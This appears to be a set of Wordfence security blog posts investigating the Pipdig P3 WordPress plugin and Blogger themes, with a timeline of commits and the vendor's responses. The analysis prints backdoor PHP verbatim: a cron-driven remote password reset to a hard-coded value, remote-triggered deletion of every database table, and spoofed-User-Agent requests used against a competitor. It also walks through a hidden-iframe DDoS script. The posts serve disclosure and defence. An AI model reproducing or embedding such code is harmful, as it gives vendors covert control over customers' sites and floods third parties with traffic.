Git Commit: edc47824200e15d64cab7270debc4a0526a8d323
Public Changeset: Original Link | Archived Page
Notes: The database deletion feature in P3 was originally added in this commit, not in July 2018 as Pipdig stated in their public response.

Screenshot showing the added lines of code responsible for database deletion.

June 21, 2018 – First instance of suspected DDoS code
Git Commit:
 dbcf38b0168472b7620b2372edac02cd847db68a
Public Changeset: Taken down by Pipdig before discovery.
Notes: This first instance of code making potential DDoS requests was added here. With comments and a remote path suggesting licensing checks, the inclusion of a spoofed User-Agent string and a lack of any license data in the outbound requeststrongly suggests malicious intent.

Screenshot of the added code in this changeset responsible for suspected DDoS behavior.

September 18, 2018 – First instance of password reset code
Git Commit:
 8e9cf87c57bff6beda963489846d14df09d04cae
Public Changeset: Original Link | Archived Page
Notes: Both inc/functions.php and inc/cron.php were modified as part of this addition. Interestingly, minor edits were also made to the suspected DDoS script during this commit as well.

Screenshot of the diffset showing the addition of Pipdig’s password reset code.

The next several months following the first inclusion of the password reset code featured a number of tweaks and changes. However, for the purposes of this report we’re going to jump ahead to just before the Pipdig story broke publicly.

March 25, 2019 – Most recent code updates to password reset and database deletion features
Git Commits:
3896a43db805c74e9f95ed51d4299f21e479c46d
ac66fc19e4e771a1700f6cf814ca7c5e800b0a48
Public Changeset: Taken down by Pipdig before discovery
Archival Note: While we were unable to archive the changeset of this commit before Pipdig took down the repository, we did archive an annotation of inc/cron.php which corroborates this statement. You can use the Find feature of your browser to search for the shortened commit tags 3896a43 and ac66fc1 to see the exact lines modified in this file.
Notes: Much of Pipdig’s messaging regarding their malicious code has suggested it was all old and defunct. If there was no intent for these to be used, why would they be making code improvements to these features less than a week prior?

Screenshot of a very recent set of changes made to Pipdig’s database deletion and password reset features.

March 27, 2019 – Wordfence notified of issues in P3 plugin

It was right around here that things started picking up speed, so we’ll be adding timestamps moving forward. Times are in PDT (GMT -7).

March 28, 2019

12:29 PM – Reached out to Pipdig for comment via email

2:19 PM – Received response from Phil

2:30 PM – Most offending code removed from plugin
Git Commit: d1f803ec4b40c9163a73f9f08e534051a8a9dec4
Public Changeset: Original Link | Archived Page
Notes: This release was tagged as version 4.8.0 when it went live. It still contained the inc/functions.php code responsible for the password reset feature, though the call to it was removed, leaving it orphaned. We mentioned this orphaned function in our original post.

Screenshot showing swaths of malicious code stripped from the plugin.

March 29, 2019

9:40 AM – Wordfence releases Pipdig report
Link:
 https://www.wordfence.com/blog/2019/03/peculiar-php-present-in-popular-pipdig-power-pack-plugin/

11:09 AM – Orphaned password reset code removed from plugin
Git Commit: 394e9a3293a45eedc32e512ea6680dd4a94107c8
Public Changeset: Original Link | Archived Page
Notes: The orphaned password reset code was removed less than two hours after we reminded Pipdig it existed. This commit was also tagged version 4.8.0 on release, in an apparent effort to conceal the removal of this code.

Screenshot showing the removal of the orphaned p3_check_social_links function.

12:04 PM – @jemjabella releases Pipdig report
Link: https://www.jemjabella.co.uk/2019/security-alert-pipdig-insecure-ddosing-competitors/
Notes: Jem’s investigation had been running in parallel to our own, which we learned upon release of her report. Jem confirmed with Pipdig’s competitor that a harmful amount of incoming traffic had been hitting various admin resources on their site, strengthening allegations of DDoS activity. Jem’s active social following spread this report very quickly.

2:24 PM – Pipdig issues first response
Link:
https://pipdig.co/blog/sad-times/

March 31, 2019

4:05 AM – Pipdig issues updated response
Link:
 https://pipdig.co/blog/sad-times/

12:40-2:19 PM – Pipdig takes down public Bitbucket repository containing incriminating code
Notes:
At some point in this timeframe, Pipdig removed the public Bitbucket repository used by investigators to find specific evidence of their activity. Fortunately for the investigation, snapshots of several incriminating pages had already been taken, and the git repository itself had been cloned.

Bitbucket’s 404 page. If you tried clicking any of the original links, you’ve already seen this.

New Evidence Suggests DDoS Behavior In Pipdig’s Blogger Themes

During the investigation of Pipdig’s WordPress plugin and themes, we also came across some curious code associated with their Blogger themes. This code is part of Pipdig’s suspected DDoS campaign against their competitor, and was active until April 1, four days after Pipdig’s denial of any such behavior.

Some of Pipdig’s Blogger themes have been confirmed to make external JavaScript calls to Pipdig’s server, specifically to the script hXXps://pipdigz[.]co[.]uk/js/zeplin1.js.

Screenshot showing calls to zeplin1.js in the live source of a site using one of Pipdig’s Blogger themes.

This file contained two lines of obfuscated JavaScript code. That is, code written so humans can’t read it.

Example of obfuscated JavaScript found in Pipdig’s zeplin1.js file.

When the second line of this code is deobfuscated and made readable, we get the following:

Deobfuscated contents of line 2 of zeplin1.js. Target domain partially redacted.

Here’s a quick breakdown of what this code is up to.

The code is executed in the browser of the users visiting sites using Pipdig’s themes. This takes place on every page load where zeplin1.js is sourced from Pipdig.

First, Pipdig creates an iframe element in the visitor’s browser. Then it generates some random numbers, and selects a random WordPress endpoint from the following list:

  • /wp-json/oembed/1.0/embed
  • /wp-json/oembed/
  • /wp-json/oembed/1.0/
  • /wp-json/
  • /wp-json/{random number}/
  • /xmlrpc.php
  • /wp-admin/admin-ajax.php

Next, it sets the actual target address value: hXXps://nullrefer[.]com/?hXXps://www.{competitor's domain}[.]com/{random endpoint}. For those unfamiliar, NullRefer is a service used to strip the referrer data out of requests to the second link in the path. What this means, is Pipdig uses NullRefer to hide the actual source page of the requests to their competitor’s site. This is understandable, because all of these referrers would be sites running Pipdig’s themes.

Finally, the rest of the JavaScript is used to take the iframe all of this happens in, and makes it invisible before actually loading it.

To clarify, every time a visitor reaches any site running a Blogger theme from Pipdig using this script, their browser would fire an additional request to their competitor’s site. This request hides where it came from, hits a literally randomized file on the competitor’s server, and does nothing with the data. This behavior is hidden not only from the visitors to these sites, but to the owners of these sites as well.

Supporting Evidence

Pipdig has made additional efforts to hide evidence of this behavior from zeplin1.js . On April 1, Pipdig removed the second line from this script on their servers. Luckily, we had assembled a number of authoritative copies proving it was present. This was made easier due to the great number of Internet Archive snapshots available of the script. Because references to it appear on a great deal of sites running Pipdig’s code, the archive’s crawlers come across it fairly often.

The first known instance of suspected DDoS code appearing in zeplin1.js was archived on January 31, 2019. An archival of the file on this date can be found on the Internet Archive. Interestingly, the code wouldn’t actually work in this first incarnation of the script – they forgot the .com in their competitor’s domain name. This was fixed shortly afterward.

Edits to this script came and went in the following weeks. Sometimes, the code was removed. Other times, a different competitor’s domain showed up. However, the most recent time the originally reported competitor’s domain was added suggests that Pipdig was still undergoing suspicious behavior even after they had been called out on it.

  • On March 13, the suspected DDoS code was present. Archive Link
    • Note on this snapshot, the target was a different site than the commonly reported competitor.
  • On March 31, the code was NOT present. Archive Link
  • On April 1, the code WAS present. Archive Link
  • On a later snapshot from April 1, the code had been removed. Archive Link

In the event that Pipdig has this evidence taken down as well, we have made additional verifiable copies of this code through other trusted third parties.

It is unclear at this time whether Pipdig thought this behavior would go unnoticed, though their addition and subsequent removal of this incriminating code at a time when they were under close scrutiny is highly suspicious.

Pipdig Avoids Acknowledging Wordfence

It’s worth noting that in all of Pipdig’s communications regarding this story, Pipdig has pointed the finger at @jemjabella’s article and the claims within. When making baseless legal threats and claims of collusion, it’s understandable why they wouldn’t want to draw attention to the security company who has a clear reputation in this space.

We’ve made further attempts to reach Pipdig regarding this case. We had additional questions following the first response that weren’t answered, and further questions over data that popped up later. Pipdig, unsurprisingly, has provided no response.

Our Recommendation

The single exception to Pipdig’s unwillingness to bring up Wordfence can be found in today’s post on The Register. In their response, they cite our article from last week to back up their claims that the new version of the plugin is safe. In light of Pipdig’s behavior in responding to these issues, and their demonstrated continued abuse of their users and their users’ visitors, we have amended our original recommendation.

Wordfence recommends removing all Pipdig content from your sites, both WordPress and Blogger. Pipdig has demonstrated a willingness to abuse users’ resources to execute unethical, and potentially illegal, activity. Furthermore their repeated denial of solid evidence, and subsequent attempts to conceal it, leave us unable to trust them in the future.

Conclusion

We’ve deployed a malware signature, Backdoor:PHP/pipdigPasswordReset, which has already alerted hundreds of Wordfence users to the danger present in the P3 plugin. P3 users will also be receiving Wordfence dashboard notifications alerting them to our reports on these issues, if they haven’t received them already.

Pipdig’s repeated, documented activity in creating this malicious code is a major problem they needed to answer for. However, the rest of the story would have unfolded much differently had they just admitted wrongdoing from the start. Instead, they’ve shattered the trust of their users by trying to pull the wool over their eyes, and drew the ire of the WordPress community in their attempts to discredit these claims.

The post Pipdig Update: Dishonest Denials, Erased Evidence, and Ongoing Offenses appeared first on Wordfence.

Read More

Peculiar PHP Present In Popular Pipdig Power Pack (P3) Plugin

This week, our team was notified of suspicious code present in a plugin offered alongside themes sold by Pipdig, a UK-based web development team. The user, who wishes to remain anonymous, reached out to us with concerns that the plugin’s developer can grant themselves administrative access to sites using the plugin, or even delete affected sites’ database content remotely. We have since confirmed that the plugin, Pipdig Power Pack (or P3), contains code which has been obfuscated with misleading variable names, function names, and comments in order to hide these capabilities.

We reached out to the Pipdig team with questions about these issues, and within hours a new version of P3 was released with much of the suspicious code removed. Pipdig Power Pack versions up to 4.7.3 contain the backdoor code, which has been removed as of version 4.8.0, at least at the time of this writing. No concrete data is available regarding the exact install base of the P3 plugin, though queries against services like PublicWWW and Censys suggest an install base of 10,000-15,000 sites.

Sites running Pipdig’s software should ensure they’ve updated to the latest version of P3. While we’re stopping short of recommending removing the software, serious consideration should be given on whether to treat Pipdig as a trustworthy vendor going forward. Given the dubious nature of the code present in the previous version and obvious efforts to obscure it, Pipdig’s intentions remain unclear.

Due to the nature of these backdoors, which make remote calls to Pipdig’s servers as opposed to listening for incoming requests, an inbound firewall rule cannot prevent these actions. In an effort to protect Wordfence users, we will be issuing WordPress dashboard notifications to our users with the P3 plugin active. Systems administrators interested in checking their filesystems should look for the plugin slug p3.

In today’s post, we’ll take a look under the hood of the P3 plugin to see what the developers added and how it can affect your site. Then we’ll discuss Pipdig’s response, as well as the importance of developer trust–especially in the unmoderated ecosystem of commercial WordPress plugins and themes.

Unauthenticated Password Reset (To A Hard-Coded String)

The first item we’ll look at is the plugin’s ability to reset the password of any user on an affected site.

// Check for new social channels to add to navbar etc
if (!get_transient('p3_news_new_user_wait')) {
$url = 'hXXps://pipdigz[.]co[.]uk/p3/socialz.txt';
$args = array('timeout' => 4);
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	if (email_exists(sanitize_email($response['body']))) {
		p3_check_social_links(email_exists(sanitize_email($response['body'])));
		wp_safe_remote_get('hXXps://pipdigz[.]co[.]uk/p3/socialz.php?list='.rawurldecode($me), $args);
	}
}
}

In the snippet above, taken from lines 88-99 of the file inc/cron.php, we see code ostensibly intended to “check for new social channels” according to the preceding comment. This code is present in a function associated with an hourly WordPress cron event, so it will attempt to run once per hour.

First, the plugin checks for a database transient called p3_news_new_user_wait.  This is a transient set on initial activation, which will remain present for three weeks after being initially set. Thus, if a site has been running the plugin for longer than three weeks, the code block above will run when the hourly cron triggers.

Next, the plugin makes a wp_safe_remote_get() call to hXXps://pipdigz[.]co[.]uk/p3/socialz.txt. If the response from that URL is an email address, the function p3_check_social_links() is run on that email address, after which the plugin sends another request to a different pipdigz[.]co[.]uk address containing the site’s domain (as the variable $me, defined elsewhere). The socials.txt file on Pipdig’s server did not contain any content when tested during the course of this investigation.

Despite the innocuous name, however, p3_check_social_links() has nothing to do with social media.

function p3_safe_styles($styles) {
	$styles[] = 'display'; // For Google Adsense ad widget
	$styles[] = 'text-transform';
	return $styles;
}
function p3_check_social_links($link_style) {
	wp_set_password('p3_safe_styles', $link_style);
}

The function is defined in inc/functions.php, and continues its misleading behavior. It’s located immediately after the definition of another function, p3_safe_styles(), and at a glance seems to make use of it. However, its presence in line 195 is as a string, not a function. In reality, p3_check_social_links() simply changes the password of a given user to the hard-coded string “p3_safe_styles”.

What this means is that if Pipdig were inclined, they could gain administrative access to a site just by knowing the email address of an administrator account. They’d update the socialz.txt file on their end to contain the email in question, wait an hour for the cron to trigger again, and log in to the account with the password “p3_safe_styles”.

The cron event responsible for calling the password reset function has been removed as of version 4.8.0, though the p3_check_social_links() function with the hardcoded password is still present as orphaned code.

Unauthenticated Database Deletion

Following the password reset, the very next lines of code in inc/cron.php contain further concerning behavior: the ability to delete a site’s entire WordPress database remotely.

$url_2 = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0.txt';
$response = wp_safe_remote_get($url_2, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	if ($me === trim($response['body'])) {
		global $wpdb;
		$prefix = str_replace('_', '\_', $wpdb->prefix);
		$tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'");
		foreach ($tables as $table) {
			$wpdb->query("DROP TABLE $table");
		}
	}
}

In this snippet, we see the plugin making a wp_safe_remote_get() call to hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0.txt. Then, it compares the response to $me, which still refers to the WordPress site’s URL. If id39dqm3c0.txt contains the site’s URL, the plugin will enumerate and individually drop every database table associated with the site. This check, like the password reset above, is made hourly when the cron is triggered.

To clarify, the Pipdig team can remotely destroy a WordPress site using the P3 plugin by storing its site_url on their server as id39dqm3c0.txt, then waiting an hour and triggering the cron. We did not detect any activity in this file during our investigation.

The database deletion functionality has been removed as of version 4.8.0.

Unusual Scheduled Remote Calls

Pipdig’s plugin, in addition to the more obvious examples, includes some remote calls in its cron events that raise questions of original intent.

The following snippet is present in a daily cron found in inc/cron.php:

// Clear CDN cache
$url = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0_license.txt';
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	$rcd = trim($response['body']);
	//$check = add_query_arg('n', rand(0,99999), $rcd);
	wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);
}

This code is nearly identical to another snippet from the same file, associated with an hourly cron event:

// Check CDN cache
$url_3 = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0_license_h.txt';
$response = wp_safe_remote_get($url_3, $args);
if (!is_wp_error($response) && !empty($response['body'])) {
	$rcd = trim($response['body']);
	$args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false);
	//$check = add_query_arg('n', rand(0,99999), $rcd);
	wp_safe_remote_get($rcd.'&'.rand(0,99999), $args);
}

Both of these events include comments suggesting the code has to do with a CDN cache. This does not appear to be the case.

In both examples, the plugin first makes a call to a text file on Pipdig’s server. The text files each contain a new URL, which the plugin makes a subsequent request to. This second request includes a query string with a random numeral between 0 and 99999, and in the case of the hourly event, a spoofed User-Agent string intended to make the request appear as though it was generated by Google Chrome on a Windows 10 machine.

During our initial review of the P3 plugin, we tested the two Pipdig URLs to see where these daily and hourly requests were eventually ending up. The address queried in the daily event returned a target URL of hXXps://[redacted].com/wp-cron.php, and the hourly lookup returned hXXps://[redacted].com/wp-admin/admin-ajax.php. The contents of these files were emptied shortly after we contacted Pipdig, though response codes indicate the files themselves still exist.

It is unclear at this time why Pipdig was directing sites with their plugin to send these requests to a third party site. It’s also not obvious why one of the requests falsely reports the User-Agent of the request.

The code responsible for these remote requests has been removed as of version 4.8.0.

Update – 14:05 PDT, March 29 2019

We recently became aware of another investigation which had apparently been running in parallel to our own. In a post today, WordPresser Jem “Jemjabella” Turner detailed similar issues, but had gone a bit further in regards to these remote requests.


The post, which can be found here, confirms our initial suspicions that these requests were attempts to issue a DDoS against one of Pipdig’s competitors. In a response, shared in Jem’s blog, the target reported the following:

“I actually had huge trouble with my web host and they explained that my admin-ajax.php file was under some kind of attack [..] I can confirm that I have never given pipdig any permissions to make requests to my servers. Nor was I ever in a partnership or any sort of contact with them.”

This confirmation makes it much clearer why random numerals were appended to the target URLs: it was in an attempt to bypass CDNs and other caches. It also clears up why the hourly requests made use of spoofed User-Agent strings.

Update – 18:20 PDT, March 29 2019

At the request of the competitor who was targeted in these attacks, we have removed references to their name and domain from this post. We did not intend to cause them stress in reporting these issues.

Undisclosed Content and Configuration Rewrites

Changing focus from security concerns to questionable dev practices, we see Pipdig Power Pack quietly making changes to site content.

A screenshot of a Gutenberg post draft asking “Have you used Blogerize?”

Firstly, the plugin includes a content filter that automatically replaces references to Blogerize, a service which claims to be a beginner’s blogging course, with references to Pipdig’s own services.

function p3_content_filter($content) {
	if (get_transient('p3_news_new_user_wait')) {
		return $content;
	} elseif (is_single()) {
		$content = str_replace('bloger'.'ize[.]com', 'pipdig[.]co/shop/blogger-to-wordpress-m'.'igration/" data-scope="', $content);
		$content = str_replace('Blog'.'erize', 'Blog'.'ger to WordPress', $content);
	}
	return $content;
}
add_filter('the_content', 'p3_content_filter', 20);

The p3_content_filter() function, present in inc/functions.php, performs the swap. It begins by checking if the p3_news_new_user_wait transient is set, which you may recall from earlier is present for three weeks on new installs. Once three weeks is up the filter runs on any viewed posts, replacing the string Blogerize with Blogger to WordPress, and any instances of the domain blogerize.com are replaced with pipdig[.]co/shop/blogger-to-wordpress-migration/" data-scope=".

Not only does this occur silently in the background, but users who encounter the issue may find it difficult to identify the cause due to the obfuscation employed by the plugin’s developer. The strings used, both originals and their replacements, are broken up in the code and concatenated by PHP. For example, searching for blogerize[.]com in your site’s filesystem wouldn’t catch the plugin’s use of 'bloger'.'ize[.]com'.

The final rendered result of the content filter, which now asks “Have you used Blogger to WordPress?”

Cursory searches reveal at least three live sites with content affected by this filter, all blog posts discussing Blogerize’s services, where links and brand references are all replaced with Pipdig’s content.

In addition to this content filtering, P3 makes some plugin-related decisions for its users that they aren’t made aware of.

function pipdig_p3_activate() {

	add_option('pipdig_id', sanitize_text_field(substr(str_shuffle(MD5(microtime())), 0, 10)));

	update_option('link_manager_enabled', 0);
	update_option('antispam_dismiss_notice', 'true');
	update_option('endurance_cache_level', 0);

	$plugins = array(
		'wd-instagram-feed/wd-instagram-feed.php',
		'instagram-slider-widget/instaram_slider.php',
		'categories-images/categories-images.php',
		'mojo-marketplace-wp-plugin/mojo-marketplace.php',
		'mojo-marketplace-hg/mojo-marketplace.php',
		'autoptimize/autoptimize.php',
		'heartbeat-control/heartbeat-control.php',
		'instagram-slider-widget/instaram_slider.php',
		'vafpress-post-formats-ui-develop/vp-post-formats-ui.php',
		'advanced-excerpt/advanced-excerpt.php',
		'force-regenerate-thumbnails/force-regenerate-thumbnails.php',
		'jch-optimize/jch-optimize.php',
		'rss-image-feed/image-rss.php',
		'wpclef/wpclef.php',
		'wptouch/wptouch.php',
		'hello-dolly/hello.php',
		'theme-test-drive/themedrive.php',
	);
	deactivate_plugins($plugins);

In the plugin’s activation hook, found in p3.php, a number of plugins are immediately deactivated if present. No reason is given for this action. The following plugins are all deactivated when P3 is activated:

  • 10Web Instagram Feed – Instagram Gallery (wd-instagram-feed)
  • Instagram Slider Widget (instagram-slider-widget)
  • Categories Images (categories-images)
  • Mojo Marketplace (mojo-marketplace-wp-pluginmojo-marketplace-hg)
  • Autoptimize (autoptimize)
  • Heartbeat Control (heartbeat-control)
  • Instagram Slider Widget (instagram-slider-widget)
  • Vafpress (vafpress-post-formats-ui-develop)
  • Advanced Excerpt (advanced-excerpt)
  • Force Regenerate Thumbnails (force-regenerate-thumbnails)
  • JCH Optimize (jch-optimize)
  • Clef (wpclef)
  • WPtouch (wptouch)
  • Hello Dolly (hello-dolly)
  • Theme Test Drive (theme-test-drive)

Many of these plugins are very popular, with more than a hundred thousand installs. Other than certain exceptions like Hello Dolly (which certainly isn’t mission critical) and Clef (which is defunct), users may rely on these plugins and having them quietly deactivated could certainly cause headaches.

Later in the same file, another batch of plugins are listed and deactivated. This time the call is made alongside admin_init, so even if a user reactivates one it won’t stick. At least in this case, comments are made on some of the plugins in an attempt to explain why each is disallowed. Still, users are left unaware that this deactivation is even taking place unless they’re watching for it.

// Don't allow some plugins. Sorry not sorry.
function p3_trust_me_you_dont_want_this() {
	$plugins = array(
		'query-strings-remover/query-strings-remover.php', // Stop removing query strings. They're an important part of WP and keeping the site working correctly with caching.
		'remove-query-strings-from-static-resources/remove-query-strings.php',
		'scripts-to-footer/scripts-to-footer.php', // Scripts must also be located in the <head> so the widgets can render correctly.
		'fast-velocity-minify/fvm.php',
		'contact-widgets/contact-widgets.php', // Font awesome 5 breaks other icons
		'theme-check/theme-check.php', // our themes aren't designed for the w.org repo
		'wp-support/index.php' // malware?
	);
	deactivate_plugins($plugins);
}
add_action('admin_init', 'p3_trust_me_you_dont_want_this');

The following plugins are deactivated in this set:

  • Query Strings Remover (query-strings-remover)
  • Remove Query Strings From Static Resources (remove-query-strings-from-static-resources)
  • Scripts To Footer (scripts-to-footer)
    • Note: The slug on the WordPress.org plugin repository for Scripts To Footer is actually scripts-to-footerphp, so this one won’t actually deactivate.
  • Fast Velocity Minify (fast-velocity-minify)
  • Contact Widgets (contact-widgets)
  • Theme Check (theme-check)
  • WP Support (wp-support)

Whether or not the given reasons for deactivating these plugins are legitimate, it’s at best questionable practice to make these sorts of changes on behalf of your users without their knowledge.

These content and configuration changes have not been removed from Pipdig Power Pack, and are still present as of version 4.8.0.

Response From Pipdig

Once we became aware of these issues, and confirmed them internally, we reached out to Pipdig for comments on some of our concerns.

In response to our questions about the plugin’s database deletion feature, Pipdig’s Creative Director Phil Clothier said the following:

“Last year we had some serious problems after someone obtained a huge list of license keys and downloaded all of our products. The keys and files were then distributed on their file sharing site, which has since been taken down (not by us, ironically!). The drop tables function was put in place to try to stop this at the time.”

Clothier claimed P3’s users were notified at the time when this functionality was introduced, though there doesn’t appear to be any remaining mention of it in the company’s documentation or terms of service. No mention of any of these capabilities had been made during the process of purchasing and activating a Pipdig theme and the P3 plugin.

Our questions about the plugin’s password reset feature, as well as our concerns about the misleading coding conventions used to obfuscate these behaviors, were not acknowledged by Pipdig in their response.

No Mention In The Patch

When we were initially made aware of these issues earlier this week, the latest available version of P3 was 4.7.3. After our contact with Pipdig, 4.8.0 was released. However, the changelog present in 4.8.0 made no mention of 4.7.3 at all.

Screenshot of the diffset comparing P3’s readme.txt file between 4.7.3 and 4.8.0.

In fact, when looking at the diffset between 4.7.3’s readme file and the one in 4.8.0, you can see that the only change was to increment the version number and date of the preexisting changes for 4.7.3. No mention at all is made of the removal of two backdoors and other suspicious code. Since these were the main changes in the new version, it would be difficult to add a standalone entry for 4.8.0 without mentioning them.

It’s understandable that Pipdig may not want to draw attention to these issues, but disclosing the existence of a security release is ethically important.

Final Thoughts

Pipdig Power Pack, a plugin used by all of Pipdig’s commercial WordPress themes, included a number of questionable features for an indeterminate amount of time until yesterday’s release of version 4.8.0. Prior to this, Pipdig maintained the ability to gain administrative access to (or entirely break) any WordPress site with the plugin active. Even on updated versions,  content rewriting and plugin deactivations can take place without user knowledge.

Much of the code in question was deliberately misleading or obfuscated, such as the use of a function named p3_check_social_links() to change a user’s password or splitting the string 'Blog'.'erize' to conceal attempts to market Pipdig’s services.

Pipdig’s claims that all of this behavior had honest intent is not surprising. Ultimately the impact of these development decisions depends on their users’ trust in them as a company–after all, it’s up to Pipdig’s word that these backdoors were never actually utilized. While we don’t have evidence to the contrary, Pipdig’s deliberate use of misleading code still raises concerns. At best, it puts new Pipdig customers in an uncomfortable position: they were unaware of any of this before purchase, and Pipdig does not offer refunds on any of their products in the event that it’s deemed unacceptable.

Once again, we strongly urge Pipdig users to update P3 to version 4.8.0 immediately. Afterwards, consider keeping an eye on future updates to Pipdig’s plugins and themes to ensure newly added code meets your site’s security standards. Wordfence users with P3 active will soon receive notifications on their WordPress dashboard notifying them of this story.

What are your thoughts? Was Pipdig in the clear to add these features to their plugin? Is the type of code obfuscation they’ve used acceptable? Is their removal of the most concerning code a satisfactory response? Let us know in the comments below, or @Wordfence on Twitter.

The post Peculiar PHP Present In Popular Pipdig Power Pack (P3) Plugin appeared first on Wordfence.

Read More

Podcast Episode 4: The Aaron Campbell Interview and the Social Warfare Saga

This week we have an update on the Social Warfare plugin vulnerability, how it was more serious than originally thought, and a feud that has broken out between a security researcher and forum moderators. We also have some interesting data on how WordPress will become more secure soon with code signing. And along with several other news items, we have a spectacular interview with Aaron Campbell, the former head of WordPress security. Enjoy!!

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast.

This week in the news we cover:

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, and Mikey as @heyitsmikeyv. Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 4: The Aaron Campbell Interview and the Social Warfare Saga appeared first on Wordfence.

Read More
Page 1 of 1,01512345»102030...Last »